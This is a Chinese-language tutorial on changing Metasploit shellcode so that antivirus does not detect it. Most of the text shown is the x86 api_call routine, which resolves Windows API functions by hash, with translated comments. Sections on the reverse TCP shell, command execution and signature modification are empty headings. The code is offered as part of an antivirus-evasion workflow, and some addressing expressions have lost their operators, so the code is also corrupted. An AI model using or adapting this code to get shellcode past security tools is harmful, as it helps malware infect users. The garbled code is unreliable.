定位修改MsfShellcode特征码实现免杀
MsfShellcode的类别
分析MSF的ShellCode
1.Hash寻找系统API函数
;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性: NT4 及更新版本
; 架构: x86
; 大小: 140 字节
;-----------------------------------------------------------------------------;
[BITS 32]
; 输入: 要调用的API的哈希和所有参数必须被推送到栈上。
; 输出: API调用的返回值将在EAX寄存器中。
; 破坏: EAX, ECX和EDX (像正常的stdcall调用约定一样)
; 未破坏: 可以期望EBX、ESI、EDI、ESP和EBP保持不变。
; 注意: 该函数假定方向标志已经通过CLD指令清除。
; 注意: 该函数无法调用已转发的导出项。
api_call:
pushad ; 保存所有寄存器给调用者,除了EAX和ECX。
mov ebp, esp ; 创建新的堆栈帧
xor edx, edx ; 将EDX清零
mov edx, [fs:edx+0x30] ; 获取PEB的指针
mov edx, [edx+0xc] ; 获取PEB->Ldr
mov edx, [edx+0x14] ; 从内存中按顺序获取模块列表的第一个模块
next_mod: ;
mov esi, [edx+0x28] ; 获取指向模块名称(Unicode字符串)的指针
movzx ecx, word [edx+0x26] ; 将ECX设置为要检查的长度
xor edi, edi ; 清除EDI,它将存储模块名称的哈希值
loop_modname: ;
xor eax, eax ; 将EAX清零
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 一些版本的Windows使用小写模块名
jl not_lowercase ;
sub al, 0x20 ; 如果是,就将其归一化为大写字母
not_lowercase: ;
ror edi, 0xd ; 将哈希值向右旋转
add edi, eax ; 添加名称的下一个字节
dec ecx
jnz loop_modname ; 循环,直到读取了足够的字节
; 现在我们已经计算出了模块哈希
push edx ; 为以后保存当前在模块列表中的位置
push edi ; 为以后保存当前模块哈希
; 继续迭代导出地址表,
mov edx, [edx+0x10] ; 获取此模块的基地址
mov eax, [edx+0x3c] ; 获取PE头
add eax, edx ; 添加模块的基地址
mov eax, [eax+0x78] ; 获取导出表的RVA
test eax, eax ; 测试是否没有导出地址表
jz get_next_mod1 ; 如果没有EAT,则处理下一个模块
add eax, edx ; 添加模块的基地址
push eax ; 保存当前模块的EAT
mov ecx, [eax+0x18] ; 获取函数名称的数量
mov ebx, [eax+0x20] ; 获取函数名称的RVA
add ebx, edx ; 添加模块的基地址
; 计算模块哈希 + 函数哈希
get_next_func: ;
test ecx, ecx ; 由于下面的随机jmp产生的较大偏移量而更改自jcxz
jz get_next_mod ; 当我们到达EAT的开始(我们向后搜索)时,处理下一个模块
dec ecx ; 减少函数名称计数器
mov esi, [ebx+ecx4] ; 获取下一个模块名称的RVA
add esi, edx ; 添加模块的基地址
xor edi, edi ; 清除EDI,它将存储函数名称的哈希值
; 并将其与我们要搜索的哈希值进行比较
loop_funcname: ;
xor eax, eax ; 将EAX清零
lodsb ; 读取ASCII函数名称的下一个字节
ror edi, 0xd ; 将哈希值向右旋转
add edi, eax ; 添加名称的下一个字节
cmp al, ah ; 将AL(名称的下一个字节)与AH(空值)进行比较
jne loop_funcname ; 如果我们没有到达空终止符,就继续循环
add edi, [ebp-8] ; 将当前模块哈希添加到函数哈希中
cmp edi, [ebp+0x24] ; 将哈希与我们要搜索的哈希进行比较
jnz get_next_func ; 如果我们没有找到它,就去计算下一个函数哈希
; 如果找到了,则修复堆栈,调用函数,然后返回值,否则计算下一个...
pop eax ; 恢复当前模块的EAT
mov ebx, [eax+0x24] ; 获取序数表的RVA
add ebx, edx ; 添加模块的基地址
mov cx, [ebx+2ecx] ; 获取所需函数的序数
mov ebx, [eax+0x1c] ; 获取函数地址表的RVA
add ebx, edx ; 添加模块的基地址
mov eax, [ebx+4*ecx] ; 获取所需函数的RVA
add eax, edx ; 将模块的基地址添加到获取函数的实际VA中
; 现在我们修复堆栈并调用所需的函数...
finish:
mov [esp+0x24], eax ; 用即将进行的popad覆盖旧的EAX值
pop ebx ; 清除当前模块哈
pop ebx ; 清除当前在模块列表中的位置
popad ; 恢复调用者的所有寄存器,除了被破坏的EAX、ECX和EDX
pop ecx ; 弹出调用者将要推送的原始返回地址
pop edx ; 弹出调用者将要推送的哈希值
push ecx ; 推回正确的返回值
jmp eax ; 跳转到所需的函数
; 现在我们会自动返回到正确的调用者...
get_next_mod: ;
pop eax ; 弹出当前(现在是上一个)模块的EAT
get_next_mod1: ;
pop edi ; 弹出当前(现在是上一个)模块的哈希值
pop edx ; 恢复我们在模块列表中的位置
mov edx, [edx] ; 获取下一个模块
jmp next_mod ; 处理此模块2.建立反向TCP连接
3.接收并执行命令
总结
免杀实战
1.修改API函数的Hash值



2.将ShellCode写入Cpp
3.定位报毒特征码
4.修改报毒特征码

最后更新于




